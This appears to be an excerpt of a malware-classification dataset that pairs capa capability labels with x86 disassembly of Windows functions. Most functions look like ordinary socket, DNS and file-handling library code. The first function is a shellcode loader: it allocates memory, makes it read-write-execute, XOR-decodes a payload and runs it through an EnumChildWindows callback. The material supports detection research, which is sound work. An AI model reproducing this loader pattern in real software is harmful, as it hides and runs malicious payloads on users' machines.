joyce8/EMBER2024-capa huggingface dataset:
Function at 0x456fa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2340
call fcn.00466ba0
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x2336
lea eax, [ebp - 0x233c]
push 0x4de7a0
push eax
call fcn.00467bc0
mov bl, byte [ebp - 0x233c]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 4
push 0x1000
push 0x2335
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x2340]
push eax
push 0x40
push 0x2335
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
lea esi, [ebp - 0x233c]
mov ecx, edi
sub esi, edi
mov edx, 0x2335
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
nop
nop
nop
mov byte [ecx - 1], al
nop
sub edx, 1
jne 0x457025
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457630
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x457679
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3180]
js 0x457665
cmp eax, 0x32
jl 0x457761
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3180], eax
jmp 0x457749
cmp eax, 3
jne 0x457708
push 0x6c
push dword [0x4f557c]
call fcn.00403080
mov ecx, dword [0x4f3174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576b1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457749
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4c8514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4f557c]
call fcn.00403580
add esp, 0xc
jmp 0x457749
cmp eax, 4
jne 0x457749
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3184]
js 0x457722
cmp eax, 0x32
jl 0x457761
cmp dword [0x4f54f0], 2
jne 0x45773a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457742
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3184], eax
mov eax, dword [0x4f55ac]
cmp dword [eax + 0x134], 0
jne 0x457761
push 2
call fcn.004587b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret

Function at 0x459680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4f55b8]
push 0x4573b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x402d4f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x58
push 1
mov dword [ebp - 8], edx
mov esi, ecx
call dword [0x53b9fc]
mov edi, eax
mov dword [ebp - 4], 0xc
mov dword [esi + 0x9d8], edi
lea ebx, [esi + 0x9d0]
pop ecx
pop ecx
test edi, edi
je 0x402e18
mov eax, dword [ebp + 8]
xor ecx, ecx
push dword [ebp + 0xc]
mov esi, dword [ebp - 8]
mov edx, esi
mov byte [ebx + 0x18], cl
mov dword [ebx + 0x14], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 0x10], eax
mov dword [edi], ecx
mov ecx, edi
push eax
call fcn.00402acb
pop ecx
pop ecx
test eax, eax
jne 0x402dbe
xor esi, esi
push edi
mov dword [ebx + 8], esi
call dword [0x53b9f4]
pop ecx
jmp 0x402e18
push dword [ebx]
call dword [0x53b9f4]
pop ecx
push esi
call dword [0x53b9f8]
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x402e11
xor esi, esi
lea eax, [edi + 0x10]
push esi
push esi
push eax
push 0x402bec
push esi
push esi
mov dword [edi + 0x14], esi
call fcn.004d7d30
add esp, 0x18
test eax, eax
je 0x402df8
cmp eax, 0xffffffff
jne 0x402dfa
mov eax, esi
mov dword [edi], eax
test eax, eax
jne 0x402e29
mov dword [edi + 0x14], 1
call fcn.004d6131
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov ecx, ebx
call fcn.00402cc1
call fcn.004d6131
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
xor al, al
pop edi
pop esi
pop ebx
leave
ret
mov al, 1
jmp 0x402e24

Function at 0x403a8c
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x53b070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor eax, eax
push edi
push 4
mov edi, edx
cmp byte [esi + 0x712], al
setne al
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x403ad9
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d
push esi
call fcn.00416c42
add esp, 0xc
jmp 0x403b40
mov eax, dword [esi + 0x6b0]
mov ecx, accept
and eax, ecx
mov dword [ebp - 0x10], 1
imul eax, eax, 0x3e8
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x6b4]
and eax, ecx
xor ecx, ecx
imul eax, eax, 0x3e8
push ecx
push ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push ecx
push ecx
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x403b40
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d
push esi
call fcn.00416c42
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004ca9ff
leave
ret
Function at 0x4042c7
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x53b070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov dword [ebp - 0x190], eax
mov ebx, ecx
mov eax, 0x80
push eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x188]
push 0
push eax
call fcn.004cd440
add esp, 0xc
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x188]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x404343
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea edx, [ebp - 0x108]
push ecx
mov ecx, esi
call fcn.0041b637
pop ecx
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
jmp 0x404386
push dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x188]
push edi
call fcn.0040416c
pop ecx
pop ecx
test al, al
jne 0x40438f
call fcn.004d6131
mov esi, dword [eax]
call fcn.004d6131
push ecx
lea edx, [ebp - 0x108]
mov ecx, esi
mov edi, eax
call fcn.0041b637
pop ecx
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.00416cbd
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004ca9ff
leave
ret

Function at 0x404a42
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 4], 0
mov eax, dword [0x54182c]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 0xc], 4
push ebx
push esi
mov esi, ecx
test eax, eax
jne 0x404a8b
push 3
push ecx
push ecx
call fcn.0042330d
add esp, 0xc
test al, al
je 0x404a83
mov dword [0x54182c], 2
jmp 0x404ac9
xor eax, eax
inc eax
mov dword [0x54182c], eax
cmp eax, 2
je 0x404ac9
lea eax, [ebp - 0xc]
mov ebx, 0x1001
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x404ab6
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x404ac9
push 4
lea eax, [ebp - 8]
push eax
push ebx
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
pop esi
pop ebx
leave
ret
Function at 0x405646
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test esi, esi
je 0x4056a2
lea edx, [ebp - 4]
call fcn.0040f750
test eax, eax
jg 0x4056a2
push ebx
push edi
lea edx, [ebp - 4]
mov ecx, esi
call fcn.004055e0
mov ecx, dword [ebp - 4]
mov edx, eax
add ecx, edx
xor eax, eax
mov edi, ecx
xor esi, esi
sub edi, edx
mov ebx, 0x1505
cmp edx, ecx
cmova edi, eax
test edi, edi
je 0x40569b
mov cl, byte [edx]
call fcn.0041ad2d
imul ebx, ebx, 0x21
movsx ecx, al
xor ebx, ecx
inc edx
inc esi
cmp esi, edi
jb 0x405686
pop edi
movzx eax, bl
pop ebx
jmp 0x4056a4
xor eax, eax
pop esi
leave
ret

Function at 0x406e30
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
xor esi, esi
and dword [ebp - 0x10], esi
and dword [edi], esi
push edx
push ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0x18], eax
test eax, eax
jne 0x406f64
push ebx
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x406f74
mov ecx, dword [ebx + 0x14]
test ecx, ecx
je 0x406e83
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e75
sub ecx, edx
lea eax, [ecx + 1]
jmp 0x406e85
xor eax, eax
cmp dword [ebx + 4], 2
mov dword [ebp - 8], eax
jne 0x406f32
cmp dword [ebx + 0x18], 0
je 0x406f32
cmp dword [ebx + 0x10], 0
jbe 0x406f32
cmp dword [ebx + 0x10], 0x10
jb 0x406f32
add eax, 0x30
push eax
call dword [0x53b9f0]
mov edx, eax
mov dword [ebp - 0x14], edx
pop ecx
test edx, edx
je 0x406f68
mov ecx, dword [ebx]
lea edi, [edx + 0x20]
mov dword [edx], ecx
mov ecx, dword [ebx + 4]
mov dword [edx + 4], ecx
mov ecx, dword [ebx + 8]
mov dword [edx + 8], ecx
mov eax, dword [ebx + 0xc]
and dword [edx + 0x14], 0
and dword [edx + 0x1c], 0
mov ecx, dword [ebp - 8]
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], 0x10
mov dword [edx + 0x18], edi
mov esi, dword [ebx + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
test ecx, ecx
je 0x406f1a
mov eax, dword [edx + 0x18]
add eax, 0x10
push ecx
mov dword [edx + 0x14], eax
push dword [ebx + 0x14]
push eax
call fcn.004cc940
mov edx, dword [ebp - 0x14]
add esp, 0xc
mov esi, dword [ebp - 0xc]
test esi, esi
mov eax, dword [ebp - 0x10]
cmove esi, edx
mov dword [ebp - 0xc], esi
test eax, eax
je 0x406f2f
mov dword [eax + 0x1c], edx
mov dword [ebp - 0x10], edx
mov ebx, dword [ebx + 0x1c]
test ebx, ebx
jne 0x406e6b
mov ebx, dword [ebp - 0x18]
cmp dword [ebp - 4], 0
je 0x406f4f
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test ebx, ebx
je 0x406f6d
mov ecx, esi
call fcn.00406e18
xor esi, esi
mov edi, dword [ebp + 0xc]
mov eax, ebx
mov dword [edi], esi
pop ebx
pop edi
pop esi
leave
ret
push 8
pop ebx
jmp 0x406f40
test esi, esi
jne 0x406f5c
mov edi, dword [ebp + 0xc]
mov ebx, 0x2af9
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x406f5f
Function at 0x414f3c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0x14], 0
mov eax, edx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
jne 0x415050
xor edi, edi
xor ebx, ebx
inc edi
push edi
push ebx
call dword [0x53ba00]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x414fa7
push edi
push esi
push str.HOME
mov dword [ebp + 0x14], esi
mov ebx, edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
test edi, edi
je 0x414fbd
cmp edi, ebx
je 0x414fbd
cmp edi, 0x8000
ja 0x414fbd
cmp edi, ebx
jb 0x414fb1
push edi
push esi
call dword [0x53ba00]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x414f6c
mov ebx, dword [ebp + 0x14]
push ebx
call dword [0x53b9f4]
xor esi, esi
pop ecx
test esi, esi
jne 0x414fc0
xor eax, eax
inc eax
jmp 0x415068
push esi
jmp 0x414fa8
push 0x51c19c
push esi
push str._s_s.netrc
call fcn.004121eb
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x415043
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00414acf
push ebx
mov edi, eax
call dword [0x53b9f4]
add esp, 0x14
cmp edi, 1
jne 0x415039
push 0x51c19c
push esi
push str._s_s_netrc
call fcn.004121eb
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x415043
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00414acf
push ebx
mov edi, eax
call dword [0x53b9f4]
add esp, 0x14
push esi
call dword [0x53b9f4]
pop ecx
jmp 0x415066
push esi
call dword [0x53b9f4]
pop ecx
or eax, 0xffffffff
jmp 0x415068
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00414acf
add esp, 0x10
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4166eb
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x53b070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0xc], edx
push edi
push eax
mov ebx, ecx
call fcn.0041ba43
mov esi, eax
lea edi, [ebp - 0x20]
pop ecx
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.0040722b
mov ecx, dword [ebp - 0xc]
mov esi, eax
mov dword [ebp - 8], esi
call fcn.0040722b
mov ebx, eax
jmp 0x41676e
lea eax, [ebp - 0x30]
push eax
call fcn.0041ba43
sub esp, 0xc
lea esi, [ebp - 0x20]
mov edi, esp
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, eax
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.0041bad4
add esp, 0x20
test edx, edx
ja 0x4167a3
jb 0x416763
cmp eax, 0x3e8
ja 0x4167a3
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 8]
push 1
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x41672e
test esi, esi
je 0x416787
push esi
call fcn.004d7bcc
pop ecx
test ebx, ebx
je 0x416792
push ebx
call fcn.004d7bcc
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004ca9ff
leave
ret
mov eax, dword [ebp - 8]
test eax, eax
je 0x4167b1
push eax
call fcn.004d7bcc
pop ecx
test ebx, ebx
je 0x4167bc
push ebx
call fcn.004d7bcc
pop ecx
xor eax, eax
inc eax
jmp 0x416794
Function at 0x416b80
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
mov eax, dword [edx + 0x2a0]
mov dword [esp], ecx
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
lea esi, [ecx + 0x17]
shl esi, 4
add esi, edx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x44], 3
je 0x416c39
cmp dword [edx + ecx*4 + 0x160], 0x416eb1
jne 0x416c39
xor eax, eax
cmp dword [esi], eax
je 0x416bc5
test edi, edi
je 0x416c39
mov ebx, dword [edx + ecx*4 + 0x148]
mov ecx, ebx
push eax
push eax
push 0xffffffffffffffff
call fcn.00416803
add esp, 0xc
cmp eax, 0xffffffff
je 0x416c39
test al, 1
je 0x416c39
mov ecx, dword [esi]
test ecx, ecx
jne 0x416c1c
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 0x4e0]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x53b9f0]
pop ecx
mov ecx, eax
mov dword [esi], ecx
test ecx, ecx
jne 0x416c0d
push 0x1b
pop eax
jmp 0x416c3b
and dword [esi + 8], 0
and dword [esi + 0xc], 0
mov edi, dword [esi + 4]
test ecx, ecx
je 0x416c35
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x416c39
add dword [esi + 8], eax
jmp 0x416c39
and dword [esi + 4], 0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x416dbd
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x53b070]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov edx, dword [ecx + 0xc]
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x10]
mov ebx, dword [edx + eax*4 + 0x148]
push eax
mov dword [ebp - 0x110], ecx
call fcn.00416b80
pop ecx
test eax, eax
je 0x416e05
mov dword [esi], 0x1b
or eax, 0xffffffff
jmp 0x416e6d
push 0
push dword [ebp + 0x14]
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
and dword [esi], 0
mov edi, eax
cmp edi, 0xffffffff
jne 0x416e6b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x416e36
xor edi, edi
mov dword [esi], 0x51
jmp 0x416e6b
push ecx
lea edx, [ebp - 0x10c]
mov ecx, ebx
call fcn.0041b637
pop ecx
push eax
push str.Send_failure:__s
push dword [ebp - 0x110]
call fcn.00416cbd
mov eax, dword [ebp - 0x110]
add esp, 0xc
mov dword [eax + 0x958], ebx
mov dword [esi], 0x37
mov eax, edi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004ca9ff
leave
ret
Function at 0x417277
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
xor edi, edi
cmp byte [esi + 0x705], 0
je 0x4172f2
cmp dword [esi + 0x1b0], edi
je 0x4172bf
mov dl, 1
call fcn.00414ab6
push dword [esi + 0x14c]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
push esi
call dword [esi + 0x1b0]
add esp, 0x14
xor dl, dl
mov ecx, esi
mov edi, eax
call fcn.00414ab6
jmp 0x4172f2
cmp ebx, 2
ja 0x4172f2
push dword [esi + 0x148]
imul eax, ebx, 3
push 1
push 2
add eax, 0x50e48c
push eax
call fcn.004dbb9a
push dword [esi + 0x148]
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004dbb9a
add esp, 0x20
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4197b5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Set socket configuration
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x53b070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_socket]
xor eax, eax
push esi
push edi
mov edi, dword [ebp + 0xc]
inc eax
push 6
push eax
push 2
mov dword [ebp - 0x2c], eax
pop eax
push eax
mov dword [ebp - 0x28], 0x10
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x41996c
push 2
pop eax
xorps xmm0, xmm0
mov word [ebp - 0x14], ax
push 0x7f000001
movlpd qword [ebp - 0xc], xmm0
call dword [sym.imp.WS2_32.dll_htonl]
or dword [edi + 4], 0xffffffff
or dword [edi], 0xffffffff
mov dword [ebp - 0x10], eax
xor eax, eax
push 4
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x2c]
push eax
push 4
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x41995a
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x41995a
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x41995a
cmp dword [ebp - 0x28], 0x10
jl 0x41995a
push 1
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x41995a
push 0
push 1
push 2
pop eax
push eax
call ebx
or ebx, 0xffffffff
mov dword [edi], eax
cmp eax, ebx
je 0x41995a
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, ebx
je 0x41995a
mov ecx, esi
call fcn.0041506d
test eax, eax
js 0x41995a
xor ecx, ecx
mov dword [ebp - 0x34], esi
inc ecx
xor eax, eax
push eax
mov word [ebp - 0x30], cx
mov edx, ecx
push 0x2710
lea ecx, [ebp - 0x34]
mov word [ebp - 0x2e], ax
call fcn.004168cf
pop ecx
pop ecx
push 0
push 0
push esi
call dword [sym.imp.WS2_32.dll_accept]
mov dword [edi + 4], eax
cmp eax, ebx
je 0x41995a
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, ebx
je 0x41995a
push 0x10
pop eax
cmp dword [ebp - 0x28], eax
jl 0x41995a
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_getpeername]
cmp eax, ebx
je 0x41995a
cmp dword [ebp - 0x28], 0x10
jl 0x41995a
mov ax, word [ebp - 0x14]
cmp ax, word [ebp - 0x24]
jne 0x41995a
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
jne 0x41995a
mov ax, word [ebp - 0x12]
cmp ax, word [ebp - 0x22]
jne 0x41995a
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x41996f
push esi
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
call esi
push dword [edi]
call esi
push dword [edi + 4]
call esi
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004ca9ff
leave
ret
Function at 0x41b816
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x53b070]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41b895
mov eax, dword [esp]
cmp al, 2
jne 0x41b88f
shr eax, 8
cmp al, 2
jne 0x41b88f
call fcn.0041b8aa
mov dword [0x541bb8], eax
test eax, eax
je 0x41b86b
push str.if_nametoindex
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 3
push ecx
push ecx
call fcn.0042330d
add esp, 0xc
test al, al
setne byte [0x5df858]
push 0x5df850
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
jmp 0x41b898
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 2
pop eax
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.004ca9ff
mov esp, ebp
pop ebp
ret

Function at 0x41b8aa
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push str.kernel32
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 4], eax
test eax, eax
je 0x41b9c6
push ebx
push edi
push 0x51deec
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov edi, str.iphlpapi.dll
push 0x51defc
push edi
mov dword [ebp - 8], ebx
call fcn.004dc098
pop ecx
pop ecx
test eax, eax
je 0x41b902
test ebx, ebx
je 0x41b8f9
push 8
jmp 0x41b91d
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x41b921
test ebx, ebx
je 0x41b928
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b928
push 0x800
push esi
push edi
call ebx
mov esi, eax
jmp 0x41b9c2
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 4], eax
test eax, eax
je 0x41b9c2
lea ecx, [eax*2 + 0x1a]
push ecx
call dword [0x53b9f0]
mov ebx, eax
pop ecx
test ebx, ebx
je 0x41b9ba
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x41b9ba
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x41b963
sub ecx, edx
sar ecx, 1
mov dword [ebx + ecx*2], 0x5c
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x41b97e
sub ecx, edx
sar ecx, 1
add ecx, ecx
sub ecx, edi
add ecx, ebx
movzx eax, word [edi]
mov word [ecx + edi], ax
lea edi, [edi + 2]
test ax, ax
jne 0x41b993
mov eax, dword [ebp - 8]
test eax, eax
je 0x41b9b1
push 8
push esi
push ebx
call eax
jmp 0x41b9b8
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push ebx
call dword [0x53b9f4]
pop ecx
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret
Function at 0x42345c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x541bc0], 0
jne 0x4234bb
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
inc edi
push edi
push ebx
jmp 0x4234a2
push edi
push esi
push str.SSLKEYLOGFILE
mov ebx, esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
test edi, edi
je 0x4234bd
mov eax, dword [ebp - 4]
cmp edi, eax
je 0x4234bd
cmp edi, 0x8000
ja 0x4234bd
cmp edi, eax
jb 0x4234c7
push edi
push esi
call dword [0x53ba00]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x423475
push ebx
call dword [0x53b9f4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push esi
call dword [0x53b9f4]
pop ecx
xor esi, esi
test esi, esi
je 0x4234b8
mov edx, 0x51ed74
mov ecx, esi
call fcn.00407285
mov dword [0x541bc0], eax
test eax, eax
je 0x423506
push 0
push 4
push 0
push eax
call fcn.004dc37c
add esp, 0x10
test eax, eax
je 0x423506
push dword [0x541bc0]
call fcn.004cfe5f
and dword [0x541bc0], 0
pop ecx
push esi
jmp 0x4234b1